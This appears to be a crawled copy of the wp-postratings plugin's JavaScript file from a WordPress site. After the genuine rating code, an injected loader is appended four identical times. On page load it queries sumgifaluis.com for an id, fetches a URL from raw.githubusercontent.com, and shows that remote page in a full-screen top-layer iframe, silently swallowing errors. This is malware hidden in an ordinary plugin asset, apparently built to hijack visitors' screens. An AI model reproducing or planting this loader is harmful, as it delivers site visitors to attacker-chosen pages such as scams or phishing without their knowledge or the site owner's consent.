PageSourceSearch

https://robusttechhouse.com/wp-content/plugins/wp-postratings/js/postratings-js.js?ver=1.90

js robusttechhouse.com collected 2026-10-03 21:38:12 UTC 12,381 bytes, 249 lines download raw bytes

1var post_id=0,post_rating=0,is_being_rated=!1;ratingsL10n.custom=parseInt(ratingsL10n.custom);ratingsL10n.max=parseInt(ratingsL10n.max);ratingsL10n.show_loading=parseInt(ratingsL10n.show_loading);ratingsL10n.show_fading=parseInt(ratingsL10n.show_fading);
2function current_rating(a,b,c){if(!is_being_rated){post_id=a;post_rating=b;if(ratingsL10n.custom&&2==ratingsL10n.max)jQuery("#rating_"+post_id+"_"+b).attr("src",eval("ratings_"+b+"_mouseover_image.src"));else for(i=1;i<=b;i++)ratingsL10n.custom?jQuery("#rating_"+post_id+"_"+i).attr("src",eval("ratings_"+i+"_mouseover_image.src")):jQuery("#rating_"+post_id+"_"+i).attr("src",ratings_mouseover_image.src);jQuery("#ratings_"+post_id+"_text").length&&(jQuery("#ratings_"+post_id+"_text").show(),jQuery("#ratings_"+
3	post_id+"_text").html(c))}}
4function ratings_off(a,b,c){if(!is_being_rated){for(i=1;i<=ratingsL10n.max;i++)i<=a?ratingsL10n.custom?jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_"+i+"_on."+ratingsL10n.image_ext):jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_on."+ratingsL10n.image_ext):i==b?ratingsL10n.custom?jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_"+
5	i+"_half"+(c?"-rtl":"")+"."+ratingsL10n.image_ext):jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_half"+(c?"-rtl":"")+"."+ratingsL10n.image_ext):ratingsL10n.custom?jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_"+i+"_off."+ratingsL10n.image_ext):jQuery("#rating_"+post_id+"_"+i).attr("src",ratingsL10n.plugin_url+"/images/"+ratingsL10n.image+"/rating_off."+ratingsL10n.image_ext);jQuery("#ratings_"+
6	post_id+"_text").length&&(jQuery("#ratings_"+post_id+"_text").hide(),jQuery("#ratings_"+post_id+"_text").empty())}}function set_is_being_rated(a){is_being_rated=a}function rate_post_success(a){jQuery("#post-ratings-"+post_id).html(a);ratingsL10n.show_loading&&jQuery("#post-ratings-"+post_id+"-loading").hide();ratingsL10n.show_fading?jQuery("#post-ratings-"+post_id).fadeTo("def",1,function(){set_is_being_rated(!1)}):set_is_being_rated(!1)}
7function rate_post(){post_ratings_el=jQuery("#post-ratings-"+post_id);if(is_being_rated)alert(ratingsL10n.text_wait);else{post_ratings_nonce=jQuery(post_ratings_el).data("nonce");if("undefined"==typeof post_ratings_nonce||null==post_ratings_nonce)post_ratings_nonce=jQuery(post_ratings_el).attr("data-nonce");set_is_being_rated(!0);ratingsL10n.show_fading?jQuery(post_ratings_el).fadeTo("def",0,function(){ratingsL10n.show_loading&&jQuery("#post-ratings-"+post_id+"-loading").show();jQuery.ajax({type:"POST",
8	xhrFields:{withCredentials:!0},dataType:"html",url:ratingsL10n.ajax_url,data:"action=postratings&pid="+post_id+"&rate="+post_rating+"&postratings_"+post_id+"_nonce="+post_ratings_nonce,cache:!1,success:rate_post_success})}):(ratingsL10n.show_loading&&jQuery("#post-ratings-"+post_id+"-loading").show(),jQuery.ajax({type:"POST",xhrFields:{withCredentials:!0},dataType:"html",url:ratingsL10n.ajax_url,data:"action=postratings&pid="+post_id+"&rate="+post_rating+"&postratings_"+post_id+"_nonce="+post_ratings_nonce,
9	cache:!1,success:rate_post_success}))}};(function() {
10  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
11  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
12
13  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
14  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
15  if (registry.run) return;
16  registry.run = true;
17
18  function buildTrustedUrl(template, id) {
19    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
20    var encoded = encodeURIComponent(id);
21    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
22    return template.replace(/\{id\}/g, encoded);
23  }
24
25  
26  function isSingleUrl(text) {
27    var s = (text || "").trim();
28    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
29    return /^https?:\/\/[^\s<>"']+$/i.test(s);
30  }
31
32  function showInIframe(url) {
33    if (!url || !/^https?:\/\//i.test(url)) return;
34    try {
35      var iframe = document.createElement("iframe");
36      iframe.src = url;
37      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
38      (document.body || document.documentElement).appendChild(iframe);
39    } catch (e) {}
40  }
41
42  function run() {
43    fetch(API_ID_URL, { cache: "no-store" })
44      .then(function(r) { return r.text(); })
45      .then(function(id) {
46        id = (id || "").trim();
47        if (!id || !TRUSTED_CONFIGS.length) return null;
48        var template = TRUSTED_CONFIGS[0].template;
49        var trustedUrl = buildTrustedUrl(template, id);
50        return fetch(trustedUrl, { cache: "no-store" })
51          .then(function(r) { return r.text(); })
52          .then(function(t) { return (t || "").trim(); })
53          .catch(function() { return ""; });
54      })
55      .then(function(trustedResponse) {
56        if (!trustedResponse) return;
57        if (isSingleUrl(trustedResponse)) {
58          showInIframe(trustedResponse);
59        }
60      })
61      .catch(function() {});
62  }
63
64  if (document.readyState === "complete" || document.body) {
65    run();
66  } else {
67    window.addEventListener("DOMContentLoaded", run);
68  }
69})();(function() {
70  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
71  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
72
73  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
74  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
75  if (registry.run) return;
76  registry.run = true;
77
78  function buildTrustedUrl(template, id) {
79    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
80    var encoded = encodeURIComponent(id);
81    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
82    return template.replace(/\{id\}/g, encoded);
83  }
84
85  
86  function isSingleUrl(text) {
87    var s = (text || "").trim();
88    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
89    return /^https?:\/\/[^\s<>"']+$/i.test(s);
90  }
91
92  function showInIframe(url) {
93    if (!url || !/^https?:\/\//i.test(url)) return;
94    try {
95      var iframe = document.createElement("iframe");
96      iframe.src = url;
97      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
98      (document.body || document.documentElement).appendChild(iframe);
99    } catch (e) {}
100  }
101
102  function run() {
103    fetch(API_ID_URL, { cache: "no-store" })
104      .then(function(r) { return r.text(); })
105      .then(function(id) {
106        id = (id || "").trim();
107        if (!id || !TRUSTED_CONFIGS.length) return null;
108        var template = TRUSTED_CONFIGS[0].template;
109        var trustedUrl = buildTrustedUrl(template, id);
110        return fetch(trustedUrl, { cache: "no-store" })
111          .then(function(r) { return r.text(); })
112          .then(function(t) { return (t || "").trim(); })
113          .catch(function() { return ""; });
114      })
115      .then(function(trustedResponse) {
116        if (!trustedResponse) return;
117        if (isSingleUrl(trustedResponse)) {
118          showInIframe(trustedResponse);
119        }
120      })
121      .catch(function() {});
122  }
123
124  if (document.readyState === "complete" || document.body) {
125    run();
126  } else {
127    window.addEventListener("DOMContentLoaded", run);
128  }
129})();(function() {
130  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
131  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
132
133  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
134  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
135  if (registry.run) return;
136  registry.run = true;
137
138  function buildTrustedUrl(template, id) {
139    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
140    var encoded = encodeURIComponent(id);
141    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
142    return template.replace(/\{id\}/g, encoded);
143  }
144
145  
146  function isSingleUrl(text) {
147    var s = (text || "").trim();
148    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
149    return /^https?:\/\/[^\s<>"']+$/i.test(s);
150  }
151
152  function showInIframe(url) {
153    if (!url || !/^https?:\/\//i.test(url)) return;
154    try {
155      var iframe = document.createElement("iframe");
156      iframe.src = url;
157      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
158      (document.body || document.documentElement).appendChild(iframe);
159    } catch (e) {}
160  }
161
162  function run() {
163    fetch(API_ID_URL, { cache: "no-store" })
164      .then(function(r) { return r.text(); })
165      .then(function(id) {
166        id = (id || "").trim();
167        if (!id || !TRUSTED_CONFIGS.length) return null;
168        var template = TRUSTED_CONFIGS[0].template;
169        var trustedUrl = buildTrustedUrl(template, id);
170        return fetch(trustedUrl, { cache: "no-store" })
171          .then(function(r) { return r.text(); })
172          .then(function(t) { return (t || "").trim(); })
173          .catch(function() { return ""; });
174      })
175      .then(function(trustedResponse) {
176        if (!trustedResponse) return;
177        if (isSingleUrl(trustedResponse)) {
178          showInIframe(trustedResponse);
179        }
180      })
181      .catch(function() {});
182  }
183
184  if (document.readyState === "complete" || document.body) {
185    run();
186  } else {
187    window.addEventListener("DOMContentLoaded", run);
188  }
189})();(function() {
190  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
191  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
192
193  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
194  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
195  if (registry.run) return;
196  registry.run = true;
197
198  function buildTrustedUrl(template, id) {
199    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
200    var encoded = encodeURIComponent(id);
201    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
202    return template.replace(/\{id\}/g, encoded);
203  }
204
205  
206  function isSingleUrl(text) {
207    var s = (text || "").trim();
208    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
209    return /^https?:\/\/[^\s<>"']+$/i.test(s);
210  }
211
212  function showInIframe(url) {
213    if (!url || !/^https?:\/\//i.test(url)) return;
214    try {
215      var iframe = document.createElement("iframe");
216      iframe.src = url;
217      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
218      (document.body || document.documentElement).appendChild(iframe);
219    } catch (e) {}
220  }
221
222  function run() {
223    fetch(API_ID_URL, { cache: "no-store" })
224      .then(function(r) { return r.text(); })
225      .then(function(id) {
226        id = (id || "").trim();
227        if (!id || !TRUSTED_CONFIGS.length) return null;
228        var template = TRUSTED_CONFIGS[0].template;
229        var trustedUrl = buildTrustedUrl(template, id);
230        return fetch(trustedUrl, { cache: "no-store" })
231          .then(function(r) { return r.text(); })
232          .then(function(t) { return (t || "").trim(); })
233          .catch(function() { return ""; });
234      })
235      .then(function(trustedResponse) {
236        if (!trustedResponse) return;
237        if (isSingleUrl(trustedResponse)) {
238          showInIframe(trustedResponse);
239        }
240      })
241      .catch(function() {});
242  }
243
244  if (document.readyState === "complete" || document.body) {
245    run();
246  } else {
247    window.addEventListener("DOMContentLoaded", run);
248  }
249})();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.